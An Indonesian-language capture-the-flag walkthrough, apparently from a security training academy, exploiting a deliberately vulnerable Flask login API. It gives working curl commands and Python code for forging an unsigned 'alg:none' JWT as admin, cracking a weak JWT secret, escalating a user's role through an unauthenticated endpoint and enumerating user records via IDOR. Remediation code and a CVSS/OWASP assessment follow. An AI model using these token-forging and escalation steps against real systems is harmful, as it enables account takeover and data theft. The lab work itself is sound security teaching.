Login API - JWT Manipulation
Target:
loginapi-vuln.vuln.cybersecurity.or.id
Tools:curl,python3,jwt_tool(opsional)
Level: Menengah
Aplikasi: Flask (Python 3.11) + SQLite
Objective
Memanipulasi JSON Web Token (JWT) untuk melakukan privilege escalation dan mendapatkan akses ke data sensitif tanpa kredensial yang valid.
Reconnaissance
1.1. Identifikasi Endpoint
curl -s -I http://loginapi-vuln.vuln.cybersecurity.or.id:8088/
Output:
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.11.15
Aplikasi menggunakan Flask (Werkzeug).
1.2. Mapping Endpoint
# Coba akses root
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/
# Coba login endpoint
curl -s -X POST http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'
Output login gagal:
{"error":"Invalid credentials"}
1.3. Temukan Debug Endpoint
Coba akses endpoint /debug yang umumnya ada di aplikasi
Flask development:
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/debug
Output - informasi sensitif bocor:
{
"flag": "FLAG{JWT_M4n1pul4t10n_M4st3r_2025}",
"secret": "weak-secret-123",
"env": {
"WERKZEUG_RUN_MAIN": "true",
"PYTHON_VERSION": "3.11.15"
},
"cwd": "/app"
}
✅ Flag langsung didapat! Namun kita akan lanjut mengeksploitasi JWT untuk pembelajaran.
Exploitation
2.1. Analisis JWT dari Login
Login dengan user yang valid:
curl -s -X POST http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/login \
-H "Content-Type: application/json" \
-d '{"username":"user1","password":"pass123"}'
Output - JWT token:
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NDk2MDAwMDB9.signature_here"
}
Decode token (tanpa verifikasi):
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d 2>/dev/null
Output header:
{"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NDk2MDAwMDB9" | base64 -d 2>/dev/null
Output payload:
{"user_id":2,"username":"user1","role":"user","exp":1749600000}
2.2. JWT alg: none Attack
Server menerima token dengan algoritma none - tanpa
verifikasi signature.
Source code backend:
def verify_token(token):
parts = token.split(".")
if len(parts) != 3:
return None
hdr = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
if hdr.get("alg") == "none":
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
return payload
Forge token dengan role admin:
import json, base64
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')
header = {"alg":"none","typ":"JWT"}
payload = {"user_id":1,"username":"admin","role":"admin","exp":9999999999}
forged_token = f"{b64url(header)}.{b64url(payload)}."
print("Forged token:")
print(forged_token)
Output:
Forged token:
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogOTk5OTk5OTk5OX0.
Verifikasi forged token:
TOKEN="eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogOTk5OTk5OTk5OX0."
curl -s "http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/profile?token=$TOKEN"
Output - forged token diterima:
{
"claims": {
"user_id": 1,
"username": "admin",
"role": "admin",
"exp": 9999999999
},
"note": "unsigned token accepted"
}
✅ Kita berhasil login sebagai admin tanpa tahu password!
2.3. Crack Weak JWT Secret
Dari debug endpoint, kita tahu secret adalah
weak-secret-123. Coba verifikasi secret tersebut
menggunakan PyJWT:
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NDk2MDAwMDB9.signature_here"
secret = "weak-secret-123"
try:
decoded = jwt.decode(token, secret, algorithms=["HS256"])
print(f"Decoded: {decoded}")
except jwt.InvalidSignatureError:
print("Signature invalid")
Atau gunakan jwt_tool untuk brute-force secret:
# Jika jwt_tool terinstall
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
Output - secret ditemukan:
[+] weak-secret-123 merupakan secret yang valid!
Dengan secret tersebut, kita bisa memodifikasi payload JWT secara sah:
import jwt
payload = {"user_id":1,"username":"admin","role":"admin","exp":9999999999}
new_token = jwt.encode(payload, "weak-secret-123", algorithm="HS256")
print(f"Valid signed token: {new_token}")
2.4. Privilege Escalation via API
Endpoint /api/users/role memungkinkan perubahan role
tanpa autentikasi:
curl -s -X PUT -H "Content-Type: application/json" \
-d '{"username":"user1","role":"admin"}' \
"http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/role"
Output:
{"message": "role set to admin for user1"}
Verifikasi perubahan:
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/2
Output:
✅ User biasa berhasil di-escalate menjadi admin!
2.5. IDOR - Data User Lain
Endpoint /api/users/{id} tanpa autentikasi:
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/1 | jq
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/2 | jq
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/3 | jq
Output - semua data user:
Evidence
Screenshot 1: Debug Endpoint - Secret Bocor

Gambar: Endpoint /debug yang membeberkan JWT secret dan flag.
Screenshot 2: JWT none Algorithm - Forged Token

Gambar: Server menerima token JWT dengan algoritma none tanpa verifikasi signature.
Screenshot 3: Privilege Escalation - User ke Admin

Gambar: Role user berhasil diubah dari 'user' menjadi 'admin'.
Ringkasan Kerentanan
| # | Kerentanan | Dampak |
|---|---|---|
| 1 | Debug endpoint terbuka | Secret JWT dan flag bocor |
| 2 | JWT alg: none |
Forge token tanpa signature |
| 3 | Weak JWT secret | Secret dapat ditebak/dicrack |
| 4 | No auth di /api/users/role |
Eskalasi privilege massal |
| 5 | IDOR di /api/users/{id} |
Data semua user terbaca |
️ Risk Assessment (CVSS 3.1)
| Metrik | Nilai | Keterangan |
|---|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
| Base Score | 8.1 (High) | |
| Attack Vector (AV) | Network | Serangan dari jarak jauh |
| Attack Complexity (AC) | Low | Cukup decode dan encode base64 |
| Privileges Required (PR) | None | Tidak perlu login |
| User Interaction (UI) | None | Otomatis, bisa di-script |
| Confidentiality (C) | High | Semua data bisa diakses |
| Integrity (I) | High | Token bisa dimanipulasi |
| Availability (A) | High | Akun bisa dihapus/dinonaktifkan |
Klasifikasi OWASP
| OWASP Top 10 | Kategori |
|---|---|
| A02: Cryptographic Failures | JWT alg:none + weak secret |
| A01: Broken Access Control | IDOR + no auth |
| A05: Security Misconfiguration | Debug endpoint terbuka |
️ Remediation
1. JWT - Validasi Algoritma dengan Whitelist
❌ Rentan:
header = jwt.get_unverified_header(token)
if header["alg"] == "none": # Jangan pernah terima none!
payload = decode_payload(token)
✅ Aman:
import jwt
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
except jwt.InvalidAlgorithmError:
raise HTTPException(status_code=401)
2. Gunakan Secret yang Kuat
❌ Weak secret:
SECRET_KEY = "weak-secret-123" # Mudah ditebak!
✅ Strong secret (min 256-bit):
import secrets
SECRET_KEY = secrets.token_hex(32) # 64 karakter hex
Gunakan RS256 (asymmetric) untuk keamanan lebih:
# Generate RSA key pair
# Private key di server, public key di client
SECRET_KEY = open("private.pem").read()
3. Autentikasi Wajib di Semua Endpoint
@app.route("/api/users/role", methods=["PUT"])
def set_role():
# ❌ Tidak ada verifikasi
data = request.json
update_role(data["username"], data["role"])
@app.route("/api/users/role", methods=["PUT"])
@jwt_required
def set_role():
current_user = get_jwt_identity()
if current_user["role"] != "admin":
return {"error": "forbidden"}, 403
data = request.json
update_role(data["username"], data["role"])
4. Hapus Debug Endpoint
❌ Jangan ekspos debug di production:
@app.route("/debug") # HAPUS!
def debug():
return jsonify({"secret": SECRET_KEY, "flag": FLAG})
5. Rate Limiting dan Monitoring
from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: request.remote_addr)
@app.route("/api/login", methods=["POST"])
@limiter.limit("5 per minute")
def login():
# Log semua percobaan login
app.logger.warning(f"Login attempt from {request.remote_addr}")
References
- JWT.io - JSON Web Token Debugger
- Auth0 - JWT alg=none Vulnerability
- OWASP A02: Cryptographic Failures
- CWE-347: Improper Verification of Cryptographic Signature
- JWT Attack Cheat Sheet
Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia